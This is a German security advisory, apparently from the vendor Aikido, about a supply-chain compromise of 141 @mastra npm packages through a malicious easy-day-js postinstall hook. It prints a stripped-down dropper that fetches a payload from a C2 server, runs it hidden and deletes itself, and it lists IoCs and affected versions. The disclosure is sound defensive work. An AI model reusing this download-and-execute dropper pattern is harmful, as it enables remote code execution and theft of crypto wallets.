Am 17. Juni haben wir einen groß angelegten Supply-Chain-Angriff entdeckt, der das gesamte @mastra npm-Scope, ein beliebtes Open-Source-Framework für KI-Agenten, zum Ziel hatte. Ein Angreifer veröffentlichte 141 Pakete in einem Zeitraum zwischen 01:15 und 02:00 Uhr UTC neu und schleuste dabei stillschweigend eine bösartige Abhängigkeit in jedes einzelne ein. Die betroffenen Pakete umfassen @mastra/core, das 918.000 wöchentliche npm-Downloads hat, sowie mastra und create-mastra.
Das Postinstall-Skript
Alle 141 Pakete erhielten eine einzige neue Abhängigkeit in ihren package.json: easy-day-js, ein bösartiger Klon der beliebten Datumsbibliothek dayjs. Das Paket wurde einen Tag vor der Übernahme des Scopes von einem separaten, vom Angreifer kontrollierten Konto veröffentlicht. Entscheidend ist, dass die ursprüngliche Version (1.11.21) völlig sauber war, eine direkte Kopie von dayjs ohne Installations-Hooks. Die bösartige Version (1.11.22) folgte am nächsten Tag, etwa zu der Zeit, als die @mastra Pakete neu veröffentlicht wurden. Die kompromittierten Pakete hängen von ^1.11.21, aber die Caret-Auflösung von npm zieht automatisch die bösartige Version 1.11.22 als neueste Version herein, während eine Überprüfung der festgeschriebenen Version nichts Verdächtiges ergibt.
Version 1.11.22 fügt einen postinstall Hook hinzu, der setup.cjs, ein verschleiertes Skript, das bei der Installation automatisch und ohne Benutzerinteraktion ausgeführt wird.
// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletesWas dieses Skript Schritt für Schritt tut:
- Ruft eine Second-Stage-Payload vom C2-Server unter
23[.]254[.]164[.]92:8000 - Schreibt die Payload in eine zufällig benannte
.jsDatei im temporären Verzeichnis des Betriebssystems - Startet die Payload als vollständig abgetrennten Hintergrundprozess, unsichtbar auf allen Plattformen (
stdio: ignore, windowsHide: true), wobei ein zweiter C2-Host23[.]254[.]164[.]123:443als Argument übergeben wird - Löscht sich selbst, um forensische Beweise des Postinstall-Hooks zu entfernen
Die zweite Stufe läuft als langlebiger Hintergrundprozess, der Systeminformationen sammelt und über 160 browserbasierte Krypto-Wallet-Erweiterungen angreift, darunter MetaMask, Keplr, Coinbase und weitere. Sie etabliert Persistenz, indem sie sich auf macOS, Windows und Linux als Node-bezogene Tools tarnt, die alle nach Hause telefonieren zu 23[.]254[.]164[.]123:443.
Ähnlichkeiten mit der axios Kompromittierung
Das Vorgehen hier ist nahezu identisch mit der axios Kompromittierung die wir im März 2026 behandelt haben. Bei beiden Angriffen vermied der Angreifer es, den eigenen Code des Zielpakets zu modifizieren, und injizierte stattdessen eine bösartige Abhängigkeit, wobei er sich auf npm's postinstall Hook verließ, um die Payload automatisch zur Installationszeit auszuführen. Beide inszenierten zuerst eine saubere Köderversion und folgten dann mit der bösartigen. Beim axios-Angriff plain-crypto-js spielte die Rolle, die easy-day-js hier spielt. Beide Dropper löschen sich nach der Ausführung selbst, um forensische Beweismittel zu entfernen.
Die Infrastruktur folgt ebenfalls dem gleichen Muster. Der axios-Dropper rief zu einem Hostwinds VPS auf Port 8000 zurück. Der easy-day-js Dropper tut dasselbe und kontaktiert 23[.]254[.]164[.]92:8000 auf der Hostwinds-Infrastruktur.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
Netzwerkindikatoren
23[.]254[.]164[.]92:8000 — C2 der ersten Stufe, Payload-Download23[.]254[.]164[.]123:443 — Callback-Host der zweiten Stufe, übergeben an den gestarteten RAT
Betroffene Pakete
easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

